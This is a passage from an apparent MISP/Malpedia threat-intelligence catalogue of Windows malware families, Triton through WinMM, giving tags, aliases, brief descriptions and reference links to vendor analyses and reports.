https://www.ringzerolabs.com/2017/07/trickbot-banking-trojan-doc00039217doc.html
https://www.youtube.com/watch?v=EdchPEHnohw
https://sysopfb.github.io/malware/2018/04/16/trickbot-uacme.html
https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html
https://www.vkremez.com/2018/11/lets-learn-introducing-latest-trickbot.html
https://www.youtube.com/watch?v=lTywPmZEU1A
https://qmemcpy.github.io/post/reverse-engineering-malware-trickbot-part-1-packer
https://www.botconf.eu/wp-content/uploads/2016/11/2016-LT09-TrickBot-Adams.pdf
https://www.flashpoint-intel.com/blog/new-version-trickbot-adds-worm-propagation-module/

Triton

Malware attacking commonly used in Industrial Control Systems (ICS) Triconex Safety Instrumented System (SIS) controllers.

The tag is: misp-galaxy:malpedia="Triton"

Triton is also known as:

HatMan
Trisis

Table 1931. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.triton
https://www.midnightbluelabs.com/blog/2018/1/16/analyzing-the-triton-industrial-malware
https://dragos.com/blog/trisis/TRISIS-01.pdf
https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html
https://github.com/ICSrepo/TRISIS-TRITON-HATMAN
https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html
https://ics-cert.us-cert.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%E2%80%94Safety%20System%20Targeted%20Malware_S508C.pdf

Trochilus RAT

The tag is: misp-galaxy:malpedia="Trochilus RAT"

Trochilus RAT is also known as:

Table 1932. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.trochilus_rat
https://github.com/5loyd/trochilus/
https://asert.arbornetworks.com/uncovering-the-seven-pointed-dagger/
https://github.com/m0n0ph1/malware-1/tree/master/Trochilus
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf

Troldesh

The tag is: misp-galaxy:malpedia="Troldesh"

Troldesh is also known as:

Shade

Table 1933. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.troldesh
https://securelist.com/the-shade-encryptor-a-double-threat/72087/
https://www.welivesecurity.com/2019/01/28/russia-hit-new-wave-ransomware-spam/
https://isc.sans.edu/forums/diary/More+Russian+language+malspam+pushing+Shade+Troldesh+ransomware/24668/
https://blogs.technet.microsoft.com/mmpc/2016/07/13/troldesh-ransomware-influenced-by-the-da-vinci-code/
https://support.kaspersky.com/13059

Trump Ransom

The tag is: misp-galaxy:malpedia="Trump Ransom"

Trump Ransom is also known as:

Table 1934. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.trump_ransom

Tsifiri

The tag is: misp-galaxy:malpedia="Tsifiri"

Tsifiri is also known as:

Table 1935. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tsifiri

TURNEDUP

The tag is: misp-galaxy:malpedia="TURNEDUP"

TURNEDUP is also known as:

Table 1936. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.turnedup
https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html
https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage

Tyupkin

The tag is: misp-galaxy:malpedia="Tyupkin"

Tyupkin is also known as:

Table 1937. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tyupkin
https://www.lastline.com/labsblog/tyupkin-atm-malware/

UACMe

A toolkit maintained by hfiref0x which incorporates numerous UAC bypass techniques for Windows 7 - Windows 10. Typically, components of this tool are stripped out and reused by malicious actors.

The tag is: misp-galaxy:malpedia="UACMe"

UACMe is also known as:

Akagi

Table 1938. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.uacme
https://github.com/hfiref0x/UACME

UDPoS

The tag is: misp-galaxy:malpedia="UDPoS"

UDPoS is also known as:

Table 1939. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.udpos
https://threatmatrix.cylance.com/en_us/home/threat-spotlight-inside-udpos-malware.html
https://blogs.forcepoint.com/security-labs/udpos-exfiltrating-credit-card-data-dns

UFR Stealer

Information stealer.

The tag is: misp-galaxy:malpedia="UFR Stealer"

UFR Stealer is also known as:

Usteal

Table 1940. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ufrstealer
https://twitter.com/malwrhunterteam/status/1096363455769202688
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Usteal

Uiwix

The tag is: misp-galaxy:malpedia="Uiwix"

Uiwix is also known as:

Table 1941. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.uiwix
https://www.minerva-labs.com/post/uiwix-evasive-ransomware-exploiting-eternalblue

Unidentified 001

The tag is: misp-galaxy:malpedia="Unidentified 001"

Unidentified 001 is also known as:

Table 1942. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_001

Unidentified 003

The tag is: misp-galaxy:malpedia="Unidentified 003"

Unidentified 003 is also known as:

Table 1943. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_003

win.unidentified_005

The tag is: misp-galaxy:malpedia="win.unidentified_005"

win.unidentified_005 is also known as:

Table 1944. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_005

Unidentified 006

The tag is: misp-galaxy:malpedia="Unidentified 006"

Unidentified 006 is also known as:

Table 1945. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_006

Unidentified 013 (Korean)

The tag is: misp-galaxy:malpedia="Unidentified 013 (Korean)"

Unidentified 013 (Korean) is also known as:

Table 1946. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_013_korean_malware
http://blog.talosintelligence.com/2017/02/korean-maldoc.html

Unidentified 020 (Vault7)

The tag is: misp-galaxy:malpedia="Unidentified 020 (Vault7)"

Unidentified 020 (Vault7) is also known as:

Table 1947. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_020_cia_vault7
https://wikileaks.org/ciav7p1/cms/page_34308128.html

Unidentified 022 (Ransom)

The tag is: misp-galaxy:malpedia="Unidentified 022 (Ransom)"

Unidentified 022 (Ransom) is also known as:

Table 1948. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_022_ransom

Unidentified 023

The tag is: misp-galaxy:malpedia="Unidentified 023"

Unidentified 023 is also known as:

Table 1949. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_023

Unidentified 024 (Ransomware)

The tag is: misp-galaxy:malpedia="Unidentified 024 (Ransomware)"

Unidentified 024 (Ransomware) is also known as:

Table 1950. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_024_ransom
https://twitter.com/malwrhunterteam/status/789161704106127360

Unidentified 025 (Clickfraud)

The tag is: misp-galaxy:malpedia="Unidentified 025 (Clickfraud)"

Unidentified 025 (Clickfraud) is also known as:

Table 1951. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_025_clickfraud
http://malware-traffic-analysis.net/2016/05/09/index.html

Unidentified 028

The tag is: misp-galaxy:malpedia="Unidentified 028"

Unidentified 028 is also known as:

Table 1952. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_028

Unidentified 029

The tag is: misp-galaxy:malpedia="Unidentified 029"

Unidentified 029 is also known as:

Table 1953. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_029

Filecoder

The tag is: misp-galaxy:malpedia="Filecoder"

Filecoder is also known as:

Table 1954. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_030
https://twitter.com/JaromirHorejsi/status/877811773826641920

Unidentified 031

The tag is: misp-galaxy:malpedia="Unidentified 031"

Unidentified 031 is also known as:

Table 1955. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_031

Unidentified 032

The tag is: misp-galaxy:malpedia="Unidentified 032"

Unidentified 032 is also known as:

Table 1956. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_032
https://researchcenter.paloaltonetworks.com/2017/08/unit42-blockbuster-saga-continues/

Unidentified 035

The tag is: misp-galaxy:malpedia="Unidentified 035"

Unidentified 035 is also known as:

Table 1957. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_035

Unidentified 037

The tag is: misp-galaxy:malpedia="Unidentified 037"

Unidentified 037 is also known as:

Table 1958. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_037

Unidentified 038

The tag is: misp-galaxy:malpedia="Unidentified 038"

Unidentified 038 is also known as:

Table 1959. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_038

Unidentified 039

The tag is: misp-galaxy:malpedia="Unidentified 039"

Unidentified 039 is also known as:

Table 1960. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_039

Unidentified 041

The tag is: misp-galaxy:malpedia="Unidentified 041"

Unidentified 041 is also known as:

Table 1961. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_041

Unidentified 042

The tag is: misp-galaxy:malpedia="Unidentified 042"

Unidentified 042 is also known as:

Table 1962. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_042
http://www.intezer.com/lazarus-group-targets-more-cryptocurrency-exchanges-and-fintech-companies/

Unidentified 044

The tag is: misp-galaxy:malpedia="Unidentified 044"

Unidentified 044 is also known as:

Table 1963. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_044

Unidentified 045

The tag is: misp-galaxy:malpedia="Unidentified 045"

Unidentified 045 is also known as:

Table 1964. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_045

Unidentified 047

RAT written in Delphi used by Patchwork APT.

The tag is: misp-galaxy:malpedia="Unidentified 047"

Unidentified 047 is also known as:

Table 1965. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_047
https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/

Unidentified 049 (Lazarus/RAT)

The tag is: misp-galaxy:malpedia="Unidentified 049 (Lazarus/RAT)"

Unidentified 049 (Lazarus/RAT) is also known as:

Table 1966. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_049
https://www.welivesecurity.com/2017/02/16/demystifying-targeted-malware-used-polish-banks/

Unidentified 051

The tag is: misp-galaxy:malpedia="Unidentified 051"

Unidentified 051 is also known as:

Table 1967. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_051
https://twitter.com/CDA/status/1014144988454772736

Unidentified 052

The tag is: misp-galaxy:malpedia="Unidentified 052"

Unidentified 052 is also known as:

Table 1968. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_052

Unidentified 053 (Wonknu?)

The tag is: misp-galaxy:malpedia="Unidentified 053 (Wonknu?)"

Unidentified 053 (Wonknu?) is also known as:

Table 1969. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_053
https://labsblog.f-secure.com/2015/11/24/wonknu-a-spy-for-the-3rd-asean-us-summit/

Unidentified 055

Unnamed downloader for win.wscspl as described in the 360ti blog post.

The tag is: misp-galaxy:malpedia="Unidentified 055"

Unidentified 055 is also known as:

Table 1970. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_055
https://www.freebuf.com/articles/database/192726.html
https://ti.360.net/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english

Unidentified 057

Unnamed portscanner as used in the Australian Parliament Hack (Feb 2019).

The tag is: misp-galaxy:malpedia="Unidentified 057"

Unidentified 057 is also known as:

Table 1971. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_057
https://blog.yoroi.company/research/the-arsenal-behind-the-australian-parliament-hack/

Unidentified 058

The tag is: misp-galaxy:malpedia="Unidentified 058"

Unidentified 058 is also known as:

Table 1972. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_058
https://securelist.com/the-evolution-of-brazilian-malware/74325/#rat
https://securelist.com/the-return-of-the-bom/90065/

Unlock92

The tag is: misp-galaxy:malpedia="Unlock92"

Unlock92 is also known as:

Table 1973. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unlock92
https://twitter.com/struppigel/status/810753660737073153
https://twitter.com/bartblaze/status/976188821078462465

UPAS

The tag is: misp-galaxy:malpedia="UPAS"

UPAS is also known as:

Rombrast

Table 1974. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.upas
https://malware.dontneedcoffee.com/2012/08/inside-upas-kit1.0.1.1.html
https://twitter.com/ulexec/status/1005096227741020160
https://research.checkpoint.com/deep-dive-upas-kit-vs-kronos/

Upatre

The tag is: misp-galaxy:malpedia="Upatre"

Upatre is also known as:

Table 1975. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.upatre
https://johannesbader.ch/2015/06/Win32-Upatre-BI-Part-1-Unpacking/
https://researchcenter.paloaltonetworks.com/2018/07/unit42-upatre-continues-evolve-new-anti-analysis-techniques/
https://secrary.com/ReversingMalware/Upatre/

Urausy

The tag is: misp-galaxy:malpedia="Urausy"

Urausy is also known as:

Table 1976. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.urausy

UrlZone

The tag is: misp-galaxy:malpedia="UrlZone"

UrlZone is also known as:

Bebloh
Shiotob

Table 1977. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.urlzone
https://www.gdatasoftware.com/blog/2013/12/23978-bebloh-a-well-known-banking-trojan-with-noteworthy-innovations
https://www.johannesbader.ch/2015/01/the-dga-of-shiotob/
https://www.proofpoint.com/us/threat-insight/post/Vawtrak-UrlZone-Banking-Trojans-Target-Japan
https://www.fireeye.com/blog/threat-research/2016/01/urlzone_zones_inon.html
https://www.arbornetworks.com/blog/asert/an-update-on-the-urlzone-banker/
https://www.cybereason.com/blog/new-ursnif-variant-targets-japan-packed-with-new-features
https://www.crowdstrike.com/blog/cutwail-spam-campaign-uses-steganography-to-distribute-urlzone/
https://www.virusbulletin.com/virusbulletin/2012/09/urlzone-reloaded-new-evolution/
http://blog.inquest.net/blog/2019/03/09/Analyzing-Sophisticated-PowerShell-Targeting-Japan/
https://krebsonsecurity.com/2011/07/trojan-tricks-victims-into-transfering-funds/

Uroburos (Windows)

The tag is: misp-galaxy:malpedia="Uroburos (Windows)"

Uroburos (Windows) is also known as:

Snake

Table 1978. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.uroburos
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/november/turla-png-dropper-is-back/
https://www.gdatasoftware.com/blog/2014/05/23958-uroburos-rootkit-belgian-foreign-ministry-stricken
https://www.gdatasoftware.com/blog/2014/03/23966-uroburos-deeper-travel-into-kernel-protection-mitigation
https://www.circl.lu/pub/tr-25/
https://www.gdatasoftware.com/blog/2014/11/23937-the-uroburos-case-new-sophisticated-rat-identified
http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3193&sid=9fe4a57263c91a8b18bc43ae23afc453
https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence
https://www.gdatasoftware.com/blog/2014/02/23968-uroburos-highly-complex-espionage-software-with-russian-roots
https://www.gdatasoftware.com/blog/2014/06/23953-analysis-of-uroburos-using-windbg
https://www.carbonblack.com/2017/08/18/threat-analysis-carbon-black-threat-research-dissects-png-dropper/

Vawtrak

The tag is: misp-galaxy:malpedia="Vawtrak"

Vawtrak is also known as:

Catch
NeverQuest
grabnew

Table 1979. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vawtrak
https://www.blueliv.com/downloads/network-insights-into-vawtrak-v2.pdf
https://info.phishlabs.com/blog/the-unrelenting-evolution-of-vawtrak
https://threatpost.com/pos-attacks-net-crooks-20-million-stolen-bank-cards/117595/
http://thehackernews.com/2017/01/neverquest-fbi-hacker.html
https://blog.fox-it.com/2018/08/09/bokbot-the-rebirth-of-a-banker/
https://www.crowdstrike.com/blog/sin-ful-spiders-wizard-spider-and-lunar-spider-sharing-the-same-web/

VegaLocker

Delphi-based ransomware.

The tag is: misp-galaxy:malpedia="VegaLocker"

VegaLocker is also known as:

Vega

Table 1980. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vegalocker
https://twitter.com/malwrhunterteam/status/1095024267459284992
https://twitter.com/malwrhunterteam/status/1093136163836174339

Velso Ransomware

Ransomware that appears to require manually installation (believed to be via RDP). Encrypts files with .velso extension.

The tag is: misp-galaxy:malpedia="Velso Ransomware"

Velso Ransomware is also known as:

Table 1981. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.velso
https://www.bleepingcomputer.com/news/security/the-velso-ransomware-being-manually-installed-by-attackers/

Venus Locker

The tag is: misp-galaxy:malpedia="Venus Locker"

Venus Locker is also known as:

Table 1982. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.venus_locker
https://twitter.com/JaromirHorejsi/status/813690129088937984

Vermin

The tag is: misp-galaxy:malpedia="Vermin"

Vermin is also known as:

Table 1983. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vermin
https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/
https://www.welivesecurity.com/2018/07/17/deep-dive-vermin-rathole/
https://www.fireeye.com/blog/threat-research/2019/04/spear-phishing-campaign-targets-ukraine-government.html

Vflooder

Vflooder floods VirusTotal by infinitely submitting a copy of itself. Some variants apparently also try to flood Twitter. The impact on these services are negligible, but for researchers it can be a nuisance. Most versions are protectd by VMProtect.

The tag is: misp-galaxy:malpedia="Vflooder"

Vflooder is also known as:

Table 1984. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vflooder
https://blog.malwarebytes.com/threat-analysis/2017/10/analyzing-malware-by-api-calls/

vidar

Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.

The tag is: misp-galaxy:malpedia="vidar"

vidar is also known as:

Table 1985. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar
https://www.bleepingcomputer.com/news/security/gandcrab-operators-use-vidar-infostealer-as-a-forerunner/
https://tccontre.blogspot.com/2019/03/infor-stealer-vidar-trojanspy-analysis.html
https://fumik0.com/2018/12/24/lets-dig-into-vidar-an-arkei-copycat-forked-stealer-in-depth-analysis/

virdetdoor

The tag is: misp-galaxy:malpedia="virdetdoor"

virdetdoor is also known as:

Table 1986. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.virdetdoor
https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks

Virut

The tag is: misp-galaxy:malpedia="Virut"

Virut is also known as:

Table 1987. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.virut
https://krebsonsecurity.com/2013/01/polish-takedown-targets-virut-botnet/
https://chrisdietri.ch/post/virut-resurrects/
https://www.secureworks.com/research/virut-encryption-analysis
https://blog.malwarebytes.com/threat-analysis/2018/03/blast-from-the-past-stowaway-virut-delivered-with-chinese-ddos-bot/
https://www.theregister.co.uk/2018/01/10/taiwanese_police_malware/
https://www.spamhaus.org/news/article/690/cooperative-efforts-to-shut-down-virut-botnet
https://securelist.com/review-of-the-virus-win32-virut-ce-malware-sample/36305/

VM Zeus

The tag is: misp-galaxy:malpedia="VM Zeus"

VM Zeus is also known as:

VMzeus
Zberp
ZeusVM

Table 1988. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vmzeus
https://blog.malwarebytes.com/threat-analysis/2014/02/hiding-in-plain-sight-a-story-about-a-sneaky-banking-trojan/
https://securityintelligence.com/new-zberp-trojan-discovered-zeus-zbot-carberp/
https://asert.arbornetworks.com/wp-content/uploads/2015/08/ZeusVM_Bits_and_Pieces.pdf

Vobfus

The tag is: misp-galaxy:malpedia="Vobfus"

Vobfus is also known as:

Table 1989. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vobfus
http://contagiodump.blogspot.com/2012/12/nov-2012-worm-vobfus-samples.html
https://blog.trendmicro.com/trendlabs-security-intelligence/whats-the-fuss-with-worm_vobfus/

Volgmer

The tag is: misp-galaxy:malpedia="Volgmer"

Volgmer is also known as:

FALLCHILL
Manuscrypt

Table 1990. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.volgmer
https://www.us-cert.gov/ncas/alerts/TA17-318B
https://securelist.com/operation-applejeus/87553/

Vreikstadi

The tag is: misp-galaxy:malpedia="Vreikstadi"

Vreikstadi is also known as:

Table 1991. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vreikstadi
https://twitter.com/malware_traffic/status/821483557990318080

vSkimmer

The tag is: misp-galaxy:malpedia="vSkimmer"

vSkimmer is also known as:

Table 1992. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vskimmer
http://www.xylibox.com/2013/01/vskimmer.html
http://vkremez.weebly.com/cyber-security/-backdoor-win32hesetoxa-vskimmer-pos-malware-analysis
https://securingtomorrow.mcafee.com/mcafee-labs/vskimmer-botnet-targets-credit-card-payment-terminals/

w32times

The tag is: misp-galaxy:malpedia="w32times"

w32times is also known as:

Table 1993. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.w32times
https://attack.mitre.org/wiki/Group/G0022

WallyShack

The tag is: misp-galaxy:malpedia="WallyShack"

WallyShack is also known as:

Table 1994. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wallyshack
https://blog.malwarebytes.com/threat-analysis/2019/02/new-golang-brute-forcer-discovered-amid-rise-e-commerce-attacks/

WannaCryptor

The tag is: misp-galaxy:malpedia="WannaCryptor"

WannaCryptor is also known as:

Wana Decrypt0r
WannaCry
Wcry

Table 1995. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wannacryptor
https://blog.avast.com/ransomware-that-infected-telefonica-and-nhs-hospitals-is-spreading-aggressively-with-over-50000-attacks-so-far-today
https://baesystemsai.blogspot.de/2017/05/wanacrypt0r-ransomworm.html
http://www.independent.co.uk/news/uk/home-news/wannacry-malware-hack-nhs-report-cybercrime-north-korea-uk-ben-wallace-a8022491.html
https://gist.github.com/rain-1/989428fa5504f378b993ee6efbc0b168
https://blog.comae.io/wannacry-new-variants-detected-b8908fefea7e
https://blog.comae.io/wannacry-the-largest-ransom-ware-infection-in-history-f37da8e30a58
https://themoscowtimes.com/news/wcry-virus-reportedly-infects-russian-interior-ministrys-computer-network-57984
https://krebsonsecurity.com/2017/05/u-k-hospitals-hit-in-widespread-ransomware-attack/
https://securelist.com/blog/incidents/78351/wannacry-ransomware-used-in-widespread-attacks-all-over-the-world/
https://www.malwaretech.com/2017/05/how-to-accidentally-stop-a-global-cyber-attacks.html
https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group
https://blog.gdatasoftware.com/2017/05/29751-wannacry-ransomware-campaign
https://blog.malwarebytes.com/cybercrime/2017/05/how-did-wannacry-ransomworm-spread/
https://www.flashpoint-intel.com/blog/linguistic-analysis-wannacry-ransomware/
http://blog.emsisoft.com/2017/05/12/wcry-ransomware-outbreak/
https://blog.comae.io/wannacry-decrypting-files-with-wanakiwi-demo-86bafb81112d

WaterMiner

The tag is: misp-galaxy:malpedia="WaterMiner"

WaterMiner is also known as:

Table 1996. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.waterminer
https://blog.minerva-labs.com/waterminer-a-new-evasive-crypto-miner

WaterSpout

The tag is: misp-galaxy:malpedia="WaterSpout"

WaterSpout is also known as:

Table 1997. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.waterspout
https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html

WebC2-AdSpace

The tag is: misp-galaxy:malpedia="WebC2-AdSpace"

WebC2-AdSpace is also known as:

Table 1998. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_adspace
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-Ausov

The tag is: misp-galaxy:malpedia="WebC2-Ausov"

WebC2-Ausov is also known as:

Table 1999. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_ausov
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-Bolid

The tag is: misp-galaxy:malpedia="WebC2-Bolid"

WebC2-Bolid is also known as:

Table 2000. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_bolid
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-Cson

The tag is: misp-galaxy:malpedia="WebC2-Cson"

WebC2-Cson is also known as:

Table 2001. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_cson
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-DIV

The tag is: misp-galaxy:malpedia="WebC2-DIV"

WebC2-DIV is also known as:

Table 2002. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_div
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-GreenCat

The tag is: misp-galaxy:malpedia="WebC2-GreenCat"

WebC2-GreenCat is also known as:

Table 2003. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_greencat
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-Head

The tag is: misp-galaxy:malpedia="WebC2-Head"

WebC2-Head is also known as:

Table 2004. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_head
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-Kt3

The tag is: misp-galaxy:malpedia="WebC2-Kt3"

WebC2-Kt3 is also known as:

Table 2005. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_kt3
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-Qbp

The tag is: misp-galaxy:malpedia="WebC2-Qbp"

WebC2-Qbp is also known as:

Table 2006. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_qbp
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-Rave

The tag is: misp-galaxy:malpedia="WebC2-Rave"

WebC2-Rave is also known as:

Table 2007. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_rave
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-Table

The tag is: misp-galaxy:malpedia="WebC2-Table"

WebC2-Table is also known as:

Table 2008. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_table
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-UGX

The tag is: misp-galaxy:malpedia="WebC2-UGX"

WebC2-UGX is also known as:

Table 2009. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_ugx
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-Yahoo

The tag is: misp-galaxy:malpedia="WebC2-Yahoo"

WebC2-Yahoo is also known as:

Table 2010. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_yahoo
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebMonitor RAT

On its website, Webmonitor RAT is described as 'a very powerful, user-friendly, easy-to-setup and state-of-the-art monitoring tool. Webmonitor is a fully native RAT, meaning it will run on all Windows versions and languages starting from Windows XP and up, and perfectly compatible with all crypters and protectors.' Unit42 notes in their analysis that it is offered as C2-as-a-service and raises the controversial aspect that the builder allows to create client binaries that will not show any popup or dialogue during installation or while running on a target system.

The tag is: misp-galaxy:malpedia="WebMonitor RAT"

WebMonitor RAT is also known as:

Table 2011. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webmonitor
https://researchcenter.paloaltonetworks.com/2018/04/unit42-say-cheese-webmonitor-rat-comes-c2-service-c2aas/
https://krebsonsecurity.com/2019/04/whos-behind-the-revcode-webmonitor-rat/

WellMess

The tag is: misp-galaxy:malpedia="WellMess"

WellMess is also known as:

Table 2012. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wellmess
https://blog.jpcert.or.jp/2018/07/malware-wellmes-9b78.html

WildFire

The tag is: misp-galaxy:malpedia="WildFire"

WildFire is also known as:

Table 2013. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wildfire
https://labs.opendns.com/2016/07/13/wildfire-ransomware-gaining-momentum/

WinMM

The tag is: misp-galaxy:malpedia="WinMM"

WinMM is also known as:

Table 2014. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.winmm
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/TheNaikonAPT-MsnMM1.pdf
https://securelist.com/analysis/publications/69953/the-naikon-apt/
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

Winnti (Windows)

